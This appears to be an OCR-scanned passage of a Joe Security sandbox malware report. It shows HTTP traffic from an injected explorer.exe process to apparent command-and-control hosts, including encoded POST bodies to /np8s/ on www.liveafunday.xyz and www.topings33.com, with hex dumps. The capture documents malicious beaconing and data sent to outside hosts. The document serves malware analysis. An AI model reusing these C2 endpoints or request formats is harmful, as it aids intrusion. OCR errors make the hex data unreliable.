31 71 53 4d 4a 4e 48 7e 53 34 6a 45 31 64 4e 57 7a 6¢ 58 62 30 42 33 6b 75 71 31 43 6¢ 58 72 77 4b 57 57 31 52 45 47
65 66 39 5f 6a 47 4d 35 57 70 67 72 6b 4d 45 4b 7e 37 79 44 6f 46 49 6¢ 6a 54 6f 30 72 70 41 46 51 41 39 73 34 68 4e
78 28 76 34 61 45 31 6f 68 77 75 54 63 4e 4c 36 6¢ 39 50 77 32 6a 63 64 6e 71 68 65 70 67 64 31 32 73 47 34 54 6d 32
50 6f 52 47 30 5a 73 68 56 43 58 76 48 6¢ 71 5a 75 66 79 74 30 33 50 48 32 4d 33 32 77 6d 45 69 70 49 57 6¢ 34 30 52
37 653064 48 6¢ 72 6¢ 73 4f 66 73 54 79 36 54 50 55 65 34 6¢ 52 49 59 38 64 50 54 6e 74 62 55 64 6d 6b 76 59 56 58
42 45 68 6b 43 62 51 54 30 6¢ 7a 6a 5a 35 65 49 49 45 53 4¢ 46 70 6¢ 63 6e 71 7a 2d 56 6b 4b 4a 76 31 49 46 4c 33 7e
4470 45 51 59 74 47 76 4d 75 4d 7a 71 68 53 53 7a 75 46 31 67 4e 2d 30 5a 72 4d 6e 43 64 44 7e 33 4e 34
Data Ascii: c2MH6DeP=x3boOy11YXfmX0aURp2NCztrfCflIZ8WHNpn6xt7m7jnmRKQf3ThDdvoZct9quygtUNr81
ZIIOGIX60ZeiZNPc6yVIKaB6SpAIfXS40Ya0lvaE-LsUo3Kzc98vLHAFqz-y8yp2AS00a~A0XCT7VRz20(QGRJIEO8Y
BbcWy(c5S6myBdsg-EPc6L30TwnpvP6k4roSg8_wvMKHLC21-aPr376Eio6h8rI9eEwslUgx3Qw2m3ANGABCFO3QGQ
a614kokWsVALINbALLIO4-KwYgL_e4fIHtql9w(pvJY5bxGAjnzIcAmmIEZIQUUIMWNIPMA4_4xZImkZugF4YKNgAVP(
vgDM87w4HSZPRTJINOP9iP2G7PJIXhXMbRGMRKAZJZ-6T52Nk7SyUyZ6-HILT{23vBYDiLIoGWHEW9YNcGdPDr-poGBG
bKXowufaGfpWhriY DodMpBwjWylDJrOvoqLCvs9UIw8gu6uAYKdUYAHSQbNVR(bZ09PNVuHs09zD8WcDzZRrN1GUmMG
ONwMITj35cEqogKh9XbrbEONF87FYwgCM7ibZfKHDLoszkWiDCb3fBNAB(D6Ji7jFW_Daqg-pmThalffb2DQ28qD9jW
lwnzunlpzIX8Hggcw9RJIgKjRpdrgaRfXP(KddZ-ROyl0gaKplen~-IHXBO_5F~HAIIYA7T2yuZv5qcqni3vZxCnr33
gLJaFCRHKSSAFQy93B3W4W1QAiZpV4VTbhyU3ssdmfoXUHwv3V5AevYOc_K2SygvmwPHLjVbPUBUgIg60t4YwhVIF7k
G03t4FCxC8CG0S7MpyFKmM902L6QFXRK7mMOO4Gv4hEtvg_SV55Q4Lr2cs65p~EMQDNsWQN2MBou5V9zv6
JDRrpBugdFINkEN3R8ksk4OF _C9A0IKSXawn3bj534Q6Tg5Y0U4ZuAJa8C2AR10KTSn231sE3VVFEoIjpfiK6v6XJv
4t6luFIDKt2KNJC~mAQEyYsQ3Gag4WibzrTFrEm1MPRSuk~a9FWES5S85gpNIY CP(7uNdjcqll9IRsR5I2mryN5wjDHEr
UHhI7a36r6UtaaVSo(61V0TmzLvS7(ARMn521aSMINH~S4iE1dNWzIXb0B3kualCIXrwKWW1REGef9 iGMSWqukMEf
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Timestamp LEpee Direction
transferred

May 27, 2022 9429 IN
17:29:50.734536886
CES
Session ID Source IP Source Port
36 192.168.2.3 49947

. kBytes . .
Timestamp e Direction
May 27, 2022 9430 ouT
17:29:52.479199886
CEST
May 27, 2022 9431 IN
17:29:52.718517065
CEST
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K~7yDoFIljToOrpAFQA9s4hNx(v4aElohwuTcNL6I9Pw2jcdnghepgd12sG4Tm2PoRG0ZshVCXvHIgZufyt03PH2M3
B)Wﬁ‘EipIWI4OR7eOdHIrIsOfsTy6TPUe4IRIY8dPTnthdmkaVXBEhkaQTOIszSeIIESLFpIcnqz-VkKJleFL3~
DpEQYtGvMuMzghSSzuF1gN-0ZrMnCdD~3N4pB9vz0TOADcRajN960(SZF8BF3ylvpfdfKQZ3peMBisOdEKw5v90JZi
12nonID8puRsHzUIs5UM1a4G6uYuQI7m1B4XKFoCRe_eHPZjBc4vo9CXUCRKSUNQhfbhby1jPXxMO-h2MAHWIttZQ30
xc3mrJhR8sRPtzNXRjdDLF8ORIL~2QK2mpX7dGiY TxC2aalmW4ioBLh1upisCjeL-uR5Xk3arpoiaJPVHgXywyJVDJ
1dsRNcgb074ybmCnJyCssc4aUy7EYigJcURwWNKVX80WPFIDSGkKcCp67AxNtNjMunwizZufcLSF~VqiAlglxLFe45x
maiKfMmOxYw22CEXgtimusK12pXqOlge_ck1VdyCl1Tpi8UmQNgca7cu6EYIG8cNkvBe7rORYeYItHTI2alDyvEERL
pavZ2cgMITQ~NWJIFWHzy-6W7tR3t79txNTmNyl1lbvEMwSzfmuOtTHO3rWwZdOYtiSv55vAEFFjLrneptzI8k2WF790
hiGskAclJibPjxdo-rV2jt3E5wvtzZ Go3vDHabCOgaYro3YB_SzCJLv7G9A0QISEMCxyAlIGWnAtREgXbpSxY22uF2
hSrKZnrMF1wfQ5040s00KJuuhRZZLO5vO0ZNJIS8LON050bCFXCLDH3Su6I7Bils2A0qIitIFXYNMmMXOCNQkiYHINOY
C9cdGIX2g3K3CPJT-(rTdLvgnAglJfpLj5XP_zDuRthDzQI6H(Zp8qfT-ZRZuBv(206P5zZWTEWFTppbG9eallkcJIx3
RgtHICajTOZXW1EVVKOHSSEKqOIdGI7vLI9nszcPt(CU4VSIEZS8XBsIq5zTwy5fI351UINOpLQCGVEKQxfSzII TaaLKWgl-
OvGSSM4h2pgHpHHINYdLNUt2AHOCEN2c71UgNxVn406-zbQzImzG8IBEy7ZBCVYnxgovsnXg(gdrFgH8Ymw
Kru8nLunSQrwfDBk1lYCoxKI8SZou7KOE~y4ZRPIji98Sng7B0d2bUigwU4bGnOw29_aSENdd1_d_WDg8mVYCwbBCO
Ibp3HyNtx7xlkotwe4hQ-vbUSBNe_WSCLgK7cXPWIKIBKGYZz978vBONTqghakof4Bgx6jPiXQFI(opDjRIIzZVPW(2W
YXIAgongq0ZA0O8GnzjZsWyCl203wUnzP2Ni3Gdi8X_geUsWJa387EuOppn~M(WOp5SU1L-SrérYZdkuYNcj_p_9alPD
G8afNgX~hpoC_5VC8hwhSNTrzlwv_f01thCNUTHMgOL605Qr5ABGThIVaGAnhTUJ4vnDII2EpQHXtQEGhIIT27e5MU
AdtPo5a8MpZipk68Xs1hQYvMOHIUv5FcarEYLnySVDZTEbzuh4XXQ5wDCwvS4aqZzKN3CbbazNmzU9Azp3XGiYU74(
6¢TfQS6icT4ijUH8rs-Qfcgv-F_4H(z48ibINazEX~PVY10(jD_60KOdPLRV26UVWUr4fwXExk5QjObZ2J_p32wavv
iy5b5sGt-ffZ0x7xcY pRQApCM7q8t7qigj0REOsUuyt6 SU2e WvWJIWpCzKjU7EMGZzW6zWCuhwsOB5ZV08IjWQHgO5I12
Tippf5QguIAVPweS3Q4DIILMRh3U2eQ15JfqtY6XjSvWdL_OCJIGLVMKRWZI2Y GGyZRxfWw3Uil9nloWwIXFNH2_OfK
YLuOz0UgJBuwUOCTrQjfsYUC(7umJ6KuJs2186bIBLgMcloQH2xCGTSFBhOmM8Zxzj3wérh2yH_gPASTicCoqckVCvdH
kchGS1S5kfgQ-LYNmMARVWofz3kfjJSXh0giGh~9H7PbPmsmFgJco-rcT99jj5sL TR45~aNyRIXSWPeU4zszDbfVK-4
fpl1~E6fulkc33zWibhB7cw44lkkfZ6gM_VISpvOucKXiwmbXcTVTSwjLI0ybr5SWp9U4z93IBLSeUyxzziTRZW]l4iK
hymiFohApM2E1V00KFHqgVoeCdefzkYgmeh_rA3Y5hCYDcWpACjjhUcowBXKaaGIVQk2Q8T1zHnpd9mQH5hYZ-4i4hX
2mgiTgEk_ONmMmAgjjSH9tGPIn3zjZLbggHvyMgwkoxgGSV4kH3KyHNglJs6(cHZDxRS9Yb3dUw-gKVdgUgxxBsDkMW
OBuNseUsWk2EGGJIbSPcXRNYue59gxqZnRy2QuOPWKpGuU~PoZ~FIB19Cg3QB874GD(B(tZsLgbH30YYq
F190LDTd7IcFnEZFciHQIH3ZMotXIfAOkppwZkgDJulw-Y-DHYyEKSOZbyvILIjQefhF8J~k83yhIpk4(OpNnE6SZVF
yHXh_~2LUILJUOUnelaGriT59Zav4DQUwimeOHqU5QjbBkcjDTOdxVsByplUsdY G6yPx4IxZK~FesLgjOcZoM27¢c-p
ID3qWnjoLR9ttzNxbcE6XUPZFd-RfGpocrJL6RrQ6Qt84slvgXeNRObzzs8rm71Q_YGUEYGQFJIMastAdmlhsgFZRZt
u(My38mNMz_jhi2l60750VNHNtrwq73ZoiNSdgDnl79BdEChCUQTFeyXOowkWHzGu2SBPE7yNei4iRPK-CHIIPm1wv
g5wWZefczDTi8qVe_oG3FK8VP2xQMh5EPAlIbbagwW~0OGtO1t8RIXYHDOsWuWm3jSigyncpfgMnz(3WWgkZ4Luaz5Gm
7yT3bUhW4rX3b9J84LDtOCErvVI1Ly-Q2IAWmOF~e8z9mNdUb4cJgySNQMsK6IImI(11

HTTP/1.1 404 Not Found

Date: Fri, 27 May 2022 15:29:50 GMT

Server: Apache/2.4.29 (Ubuntu)

Content-Length: 279

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68 31 3e 4e 6f 74 20 46
6f 75 6e 64 3c 2f 68 31 3e Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4¢ 20 77 61 73 20 6e 6f 74 20 66
6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3c 68 72 3e Oa 3c 61 64 64 72 65 73 73 3e 41
7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 74 6f 70
69 6e 67 73 33 33 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74
6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29
(Ubuntu) Server at www.topings33.com Port 80</address></body></htmI>

Destination IP  Destination Port Process
162.0.230.89 80 C:\Windows\explorer.exe
Data

GET /np8s/?c2MH6DeP=+1vSQSU4VFPBNKL8EMH3DUBMRg7YeugbcMOyIP3MO0ivye7s4zRc3erRZEPodkGeNW4yt&h
FQL=JXUhrvXxUhF4 HTTP/1.1

Host: www.topings33.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Fri, 27 May 2022 15:29:52 GMT

Server: Apache/2.4.29 (Ubuntu)

Content-Length: 279

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46
6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66
6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3¢ 2f 70 3e 0a 3c 68 72 3e Oa 3c 61 64 64 72 65 73 73 3e 41
7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 74 6f 70
69 6e 67 73 33 33 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74
6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29
(Ubuntu) Server at www.topings33.com Port 80</address></body></htmI>
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Session ID Source IP Source Port

37 192.168.2.3 49954

Timestamp e Direction
transferred

May 27, 2022 9515 ouT

17:30:10.875376940

CEST

May 27, 2022 9566 IN

17:30:11.444529057

CEST

Session ID Source IP Source Port

38 192.168.2.3 49956

Timestamp e Direction
transferred

May 27, 2022 9535 ouT

17:30:10.970308065

CEST

Copyright Joe Security LLC 2022

Destination IP Destination Port Process
172.96.186.204 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1

Host: www. liveafunday.xyz

Connection: close

Content-Length: 414

Cache-Control: no-cache

Origin: http://www.liveafunday.xyz

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.liveafunday.xyz/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 63 32 4d 48 36 44 65 50 3d 38 30 47 79 45 65 41 62 30 69 74 45 28 79 79 55 45 61 45 58 76 6b 68 67 42 43
357979 46 73 6f 50 48 47 74 62 6¢ 7a 6d 6d 37 37 55 6b 31 37 59 76 46 31 4d 5a 61 4c 57 32 35 56 70 68 6b 79 6e 51
31 7a 50 39 59 5a 44 6a 45 64 7a 31 42 4e 58 54 68 6¢ 31 58 6f 72 41 43 70 30 6b 68 61 52 56 30 56 51 56 73 66 4d 56
61 75 4f 6a 45 36 4d 71 34 6f 67 69 55 31 59 59 72 4c 69 78 50 4e 39 6b 54 33 49 43 30 4e 6e 72 4c 31 61 36 6a 62 55
53 61 6e 70 6b 55 52 54 56 5a 6¢ 37 32 75 39 64 45 79 51 78 65 4a 31 46 65 79 58 4a 51 75 73 4b 4d 37 33 43 4a 45 31
47 48 42 63 44 36 45 67 78 69 68 52 6f 6d 44 4a 52 33 30 30 4d 65 58 31 38 77 32 30 5a 59 43 47 77 37 72 45 61 69 6a
5841 44 71 76 58 61 77 30 6b 58 39 6b 35 68 79 5a 75 6f 6a 33 28 68 42 38 6f 6¢ 41 49 66 33 38 36 4b 32 57 48 48 4¢
68 73 33 68 72 47 51 48 73 44 64 44 58 5f 4e 32 51 36 4b 5a 43 54 30 66 50 62 76 68 56 4f 48 4e 61 74 6d 63 32 62 28
44 54 34 53 47 58 7a 30 5f 69 65 77 6d 38 4c 7a 58 51 41 79 7a 66 72 4c 41 33 78 53 35 33 4c 67 4e 38 5a 63 78 44 6d
69 68 56 65 75 42 41 6f 7a 4d 52 33 78 4a 35 71 6¢ 6a 33 6b 36 45 4f 35 77 46 53 79 61 4a 6¢ 7a 34 4b 67 74 61 4f 50 37
79 59 35 49 35 6¢ 6d 5a 43 65 62 54 39 53 42 32 46 55 51 4c 77 4f 79 67 29 2e 00 00 00 00 00 00 00 00

Data Ascii: c2MH6DeP=80GyEeAbOitE(yyUEaEXvkhgBC5yyFsoPHGthlzmm77Uk17YvF1MZalLW25VphkynQ1zP9
YZDjEdz1BNXThI1XorACpOkhaRVOVQVsfMVauOjE6Mg4ogiULY YrLixPNOKT3ICONNrL1a6jbUSanpkURTVZI72u9d
EyQxeJ1FeyXJQusKM73CJE1GHBcD6EgxihRomDJR300MeX18w20ZY CGw7rEaijXADgvXaw0kX9k5hyZuoj3(hB8olA
1f386K2WHHLhs3hrGQHsDdDX_N2Q6KZCTOfPbvhVOHNatmc2b(DT4SGXz0_iewm8LzXQAyzfrLA3xS53LgN8ZcxDmi
hVeuBA0zMR3xJ5qlj3k6EO5wWFSyallz4KgtaOP7yY515imZCebT9SB2FUQLWOYQ).

HTTP/1.1 404 Not Found

Connection: close

x-powered-by: PHP/7.4.29

content-type: text/html; charset=UTF-8

x-litespeed-tag: 440_HTTP.404

expires: Wed, 11 Jan 1984 05:00:00 GMT

cache-control: no-cache, must-revalidate, max-age=0

link: <http://thebestvidforall.xyz/wp-json/>; rel="https://api.w.org/"

x-litespeed-cache-control: no-cache

transfer-encoding: chunked

content-encoding: gzip

vary: Accept-Encoding

date: Fri, 27 May 2022 15:30:11 GMT

server: LiteSpeed

Data Raw: 32 66 35 32 0d Oa 1f 8b 08 00 00 00 00 00 00 03 ec 7d 6b 73 e3 b6 92 e8 67 bb ea fc 07 Oc 5d 19 4b 09 49 91
d4 9b b2 9¢ 3d 99 3c 36 5b c9 9e 54 26 d9 5b b7 92 d4 14 44 42 12 67 28 92 87 84 2c 39 8e ef 6f bf d5 78 f0 25 50 2f 8f
93 d4 ce 24 95 58 24 81 ee 46 a3 d1 dd 00 1a 8d 9b 17 5f fe eb d5 4f ff {7 87 af d0 92 ae c2 db cb 1b f8 83 42 1c 2d a6 1la
89 8c 9f 5f 6b fO 8e 60 ff f6 f2 €2 66 45 28 46 de 12 a7 19 al 53 ed e7 9f be 36 46 1a ea e4 5f 22 bc 22 53 ed 2e 20 9b 24
4e a9 86 bc 38 a2 24 a2 53 6d 13 f8 74 39 f5 ¢9 5d e0 11 83 3d e8 28 88 02 1a €0 d0 ¢8 3¢ 1c 92 a9 cd e0 70 04 Oc cc 75
lacf 62 9a 5d e7 40 ae 57 78 6b 04 2b bc 20 46 92 12 40 e2 86 38 5d 90 6b 20 e0 86 06 34 24 b7 3f €0 05 41 51 4c d1
3c 5e 47 3e 7a 79 35 72 6¢ 7b 82 be bf 47 5f 84 f1 e2 a6 c3 4b 5d de 84 41 f4 Oe a5 24 9c 5e fb 51 06 e0 e6 84 7a cb 6b
b4 4c c9 7c 7a dd e9 dO 25 99 91 8¢ de 05 fe 3c 4e 71 18 9a db fb df 39 9e 43 35 33 73 63 c6 €9 a2 56 58 c3 21 25 69 84
29 d1 10 bd 4f c8 54 ¢3 49 12 06 1e a6 41 1c 75 d2 2c fb 6¢ bb 0a 35 c4 ¢8 9b 6a 82 5c¢ f4 32 ¢5 ff 5e ¢7 13 f4 35 21 be c6
69 d3 96 94 26 ae 9a c0 ce 9c 10 bf c3 f9 98 93 9 34 cc af e2 d5 8a 44 34 3b 9a 04 4f 54 28 d3 92 79 69 90 dO db cb 4d
10 f9 f1 c6 7c b3 49 c8 2a 7e 1b bc 26 94 06 d1 22 43 53 f4 a0 cd 70 46 7e 4e 43 cd 65 0d cc dc 5f 3b bf 76 04 2b 7f ed
b0 4e cf 7e ed 78 71 4a 7e ed b0 ca bf 76 ec 9e 69 99 d6 af 9d al b3 1d 3a bf 76 34 5d 23 5b aa b9 9a 99 44 0b 4d d7 b2
bb ¢5 79 f0 b2 bb 05 83 96 dd 2d be e2 00 b3 3b 06 30 5e a7 1e d1 dc 07 cd 8b 23 0f 53 46 86 a0 97 91 ab 92 99 5f 3b 9b
c4 08 22 2f 5c fb 24 fb b5 f3 36 63 2f 58 55 23 25 21 c1 19 31 57 41 64 be cd 3e bf 23 €9 74 60 5a da e3 e3 e4 b2 f3 e9
0Ob f4 d3 32 ¢8 d0 3c 08 09 Oa 32 84 d7 34 36 16 24 22 29 a6 c4 47 9f 76 2e 5f cc d7 91 07 d2 d3 22 3a d6 69 fb el Oe a7
28 d2 53 3d d6 83 29 36 bd 94 60 4a be 0a 09 74 5f 4b f3 70 74 87 33 ad ad 27 d3 c0 5c 10 fa 0a 06 €6 96 be 7c 59 7e 6a
69 8e af b5 27 12 30 ca 5a 44 02 c6 d3 d7 34 0d a2 85 39 4f e3 d5 ab 25 4e 5f ¢5 3e d1 c9 b4 95 98 5e 48 70 fa 23 f1 68
cb d2 2d 3d 30 f9 e8 Oe cc 25 09 16 4b da d6 13 73 le 84 el 4f 64 4b 5b d8 04 a9 bf 6f d1 65 90 e9 a4 ad 5b ba d5 d6 03
93 ¢6 5f 62 8a 7f fe f1 bb 56 bb 3d 49 09 5d a7 11 3a 1f 2e 15 70 c9 74 3a ad c0 7e cc 1b e6 b5 08 e7 17 dd e5 14 17 56
ad 3d al 66 96 7a 53 a2 53 d3 27 73 92 4e a9 c9 07 2e f0 ad f3 16 df 61 51 52 c7 c0 50 c1 e9 ec 8b fb 9f fO e2 bf f1 8a b4
34 d0 99 5a fb 17 eb 37 68 35 89 fc 57 cb 20 f4 5b b4 fd 38 8f d3 56 3c fd 67 9a e2 fb 96 36 0f 31 48 17 97 a6 b6 4e cd 6¢
9d 80 2 cc a6 Of e4 8e a4 f7 74 19 44 0b 7 85 a5 17 4f 5f 6d 3d 92

Data Ascii: 2f52}ksg]KI=<6[T&[DBg(,90x%P/$X$F_OB-_k fE(FS6F_""S. $N8$Smt9I]=(<pub]@Wxk+ F@8]k 4$?AQL<
AG>zy5r{G_K]A$"QzKL|z%<Ng9C53scVX!%i)OTIAu,I5\2"5!i&4D4;0T (yiM|I*~&"CSpF~NCe_;v+N~xqJ~Vi:v4]#[DMy-
;JOMESE " \$6C/XU#Y%! IWAAS#E Z2<246%")Gv._":i(S=)6"Jt_Kpt3'\|Y~ji'0ZD490%N_>"Hp#h-=0%KsOdK[oe[ bV=I]:
.pt:~V=fzSS'sN.aQRP4Z7h5W [8V<g61HNItDO_m=

Destination IP Destination Port Process
172.96.186.204 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1
Host: www. liveafunday.xyz
Connection: close

Content-Lenath: 36482
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kBytes

Timestam
P transferred

Copyright Joe Security LLC 2022

Direction

Cache-Control: no-cache

Bﬁ&i‘n: http:/iwww.liveafunday.xyz

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.liveafunday.xyz/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 63 32 4d 48 36 44 65 50 3d 38 30 47 79 45 62 70 43 37 79 42 5a 6e 43 7e 33 51 49 45 44 37 46 78 69 4e 53
39 78 33 45 42 34 59 43 62 63 56 45 44 62 6e 2d 50 65 7a 57 50 31 6b 6d 46 69 5a 62 37 5f 36 71 78 74 72 55 4f 6b 51
3137 78 39 59 56 44 67 45 31 6a 77 53 30 36 54 43 4e 30 56 49 72 38 42 70 30 48 6¢ 59 6¢ 34 30 56 63 37 73 66 45 46
5a 66 79 6a 47 66 49 71 36 72 49 58 61 31 59 61 31 62 79 74 4c 4e 78 44 54 33 77 61 30 49 66 72 4c 46 57 36 6a 34 4d
52 63 6¢ 42 72 54 42 54 55 53 46 36 79 67 64 59 33 79 51 31 38 4a 77 6¢ 65 79 68 78 51 68 59 47 4d 77 67 57 4b 64 56
47 34 46 63 44 4e 41 67 39 4a 68 52 6b 51 44 4c¢ 39 4e 30 42 45 65 57 46 38 7a 7a 6e 70 68 46 52 73 57 34 55 47 5f 6a
58 4e 70 72 2d 4c 38 77 77 31 30 70 6d 77 58 73 4c 58 48 6a 31 7a 50 44 63 6f 68 5a 34 66 57 38 36 4b 57 57 48 48 70
68 74 6e 68 72 42 4d 48 74 67 31 44 41 75 4e 78 66 36 4b 51 4c 7a 31 4d 41 37 72 64 56 4f 50 64 61 70 71 36 32 71 37
44 53 5a 69 47 55 42 4d 38 33 4f 78 74 34 4c 79 42 61 67 79 47 66 72 4c 70 33 30 71 70 32 34 55 4e 36 4c 30 78 41 43
43 68 46 2d 75 42 5a 59 7a 4f 61 58 38 43 35 71 74 6e 33 68 7e 2d 4f 4b 63 46 52 6b 47 4a 72 78 41 4b 6a 64 61 4f 43
62 7a 743259 73 71 6d 59 37 7559 79 52 37 50 78 41 5f 61 62 68 4b 68 62 7a 67 7a 46 34 76 59 6b 54 56 54 79 42 50
59 55 64 4d 35 64 6¢ 5a 52 6¢ 37 45 43 64 34 6a 51 50 74 4c 53 58 42 4b 78 45 65 38 71 66 79 64 4e 69 38 72 70 44 35
54 33 66 79 56 4e 38 42 38 38 31 30 34 4c 30 30 5a 6e 66 65 6f 50 6f 79 66 63 72 37 65 4d 36 45 4d 56 5f 6b 68 71 58 32
36 6f 6b 7e 53 36 45 33 35 50 75 67 61 75 74 30 44 7a 68 63 79 64 56 47 55 74 68 31 68 6a 35 4d 6e 47 41 65 44 6f 58 7
e 5858 74 6d 52 41 6b 49 36 46 63 55 62 33 55 39 78 34 67 78 74 67 77 70 73 6a 6b 52 5a 76 76 62 49 6d 68 4a 73 61
67 75 4f 4f 39 67 66 4f 39 67 58 69 38 64 47 39 4c 33 30 6f 5a 36 34 31 65 55 69 4e 58 53 4c 39 6e 72 6f 77 7a 78 32 6e
58 6f 37 42 44 6¢ 72 28 72 5a 52 6d 4d 67 74 77 72 77 6¢ 41 5f 75 6f 4d 5a 36 34 71 2d 78 32 70 43 78 4f 46 48 45 32 57
78 77 42 74 62 69 6d 4f 66 32 51 45 49 62 34 59 41 53 50 39 6d 30 6a 62 5f 67 33 36 51 4e 69 4a 4a 34 5a 4a 37 66 56
6b 35 4f 71 33 62 56 76 4e 68 6b 6¢ 57 71 6¢ 6f 32 43 62 4a 62 68 72 44 71 36 42 31 63 2d 73 55 78 44 30 49 33 4e 72
57 70 56 67 4d 36 68 31 4b 56 66 31 52 48 49 6a 53 71 78 64 63 73 31 56 61 41 58 4a 61 35 6f 4d 57 61 6¢ 59 76 37 53
77 6a 5151 71 37 4c 68 6¢ 70 34 78 34 44 4c 45 30 73 50 49 67 70 4b 67 31 6f 4c 73 59 42 56 64 66 4a 65 2d 50 54 54
7070 78 66 75 37 37 7e 42 4d 33 42 64 79 4b 6¢ 32 39 39 56 59 79 42 6b 6b 37 73 71 5f 50 61 4e 4a 5a 58 76 6¢ 70 6¢
41 65 38 41 34 69 6b 61 28 6b 7a 2d 34 4f 6d 6e 73 67 53 50 72 64 75 34 75 77 43 57 76 4a 48 69 7a 43 28 76 34 43 50
7756 5f 73 6e 34 49 44 4d 35 41 31 58 61 6f 63 7a 58 79 6¢ 4e 5a 41 4a 59 74 58 56 4e 31 69 44 70 4f 31 59 6d 5a 37
45 59 6d 56 71 48 6d 74 49 5a 42 68 69 57 53 37 61 39 79 62 6f 72 36 55 65 43 46 38 79 30 56 4e 50 79 71 62 46 74 41
513252 79 55 47 62 38 65 6d 52 79 68 41 35 74 33 65 44 37 4c 61 4f 36 52 7a 35 69 7a 37 30 5a 54 71 39 57 63 7a 6d
4f 72 65 6e 32 73 77 58 46 5f 67 5a 48 67 63 45 5a 7a 34 6d 70 6d 58 6¢ 50 4d 4c 6¢ 63 36 66 32 37 38 78 4d 57 4d 66
44 33 4f 6b 50 56 57 78 50 73 4a 65 78 67 6d 70 64 45 72 4c 4e 59 36 38 72 76 73 28 35 38 54 57 6¢ 6¢ 67 51 43 46 77
59 7a 72 6e 77 6a 28 37 69 43 77 32 4d 6¢ 42 51 44 56 4d 53 6b 4e 30 69 6b 52 6¢ 72 65 64 6a 37 70 38 62 46 33 6¢ 5a
42 28 69 30 59 37 59 48 67 41 71 28 6b 54 41 28 51 6a 62 50 47 79 43 31 5f 70 4e 57 78 79 71 47 61 47 6f 39 35 58 6b
7a 75 58 39 64 50 45 31 5a 4f 70 6e 78 36 56 52 67 4d 4c 4b 33 57 70 43 32 34 37 44 4a 54 62 43 6e 64 47 58 32 4f 31
76 4c 63 32 57 63 57 64 2d 64 63 54 73 44 4a 73 75 52 55 44 49 36 65 39 47 6a 78 6f 6a 52 44 6b 78 61 37 75 4f 6e 45
4e 46 6¢ 54 50 72 69 6¢ 6a 68 57 59 50 30 55 57 76 47 69 51 6a 51 63 73 61 34 4a 36 4e 37 69 63 78 55 33 35 5a 57 42
6a74 63 76 46 31 2d 47 72 34 55 71 54 65 50 33 33 67 73 28 57 79 58 59 33 4b 32 51 42 33 36 6d 6d 6e 46 6a 49 45 31
77 73 47 37 50 4f 4b 35 53 58 66 59 6d 78 74 41 4d 45 68 42 74 74 37 57 6a 48 72 4a 73 75 68 4d 6a 6a 4a 33 79 6f
Data Ascii: c2MH6DeP=80GyEbpC7yBZnC~3QIED7FXiINS9x3EB4YChcVEDbN-PezWP1kmFiZb7_6qxtrUOkQ17x9
YVDgE1jwS06 TCNOVIr8BpOHIYI40Vc7sfEFZfyjGflg6riXalYalbytL NxDT3waOlfrLFW6j4MRcIBrTBTUSF6ygdY
3yQ18JwleyhxQhYGMwgWKdVG4FcDNAg9JhRKQDLINOBEeWF8zznphFRsW4UG_jXNpr-L8ww10pmwXsLX
Hj1zPDcohZ4fW86KWWHHphtnhrBMHtg1DAUNXf6KQLz1MA7rdVOPdapq62q7DSZiGUBM830xt4LyBagyGfrLp30qp2
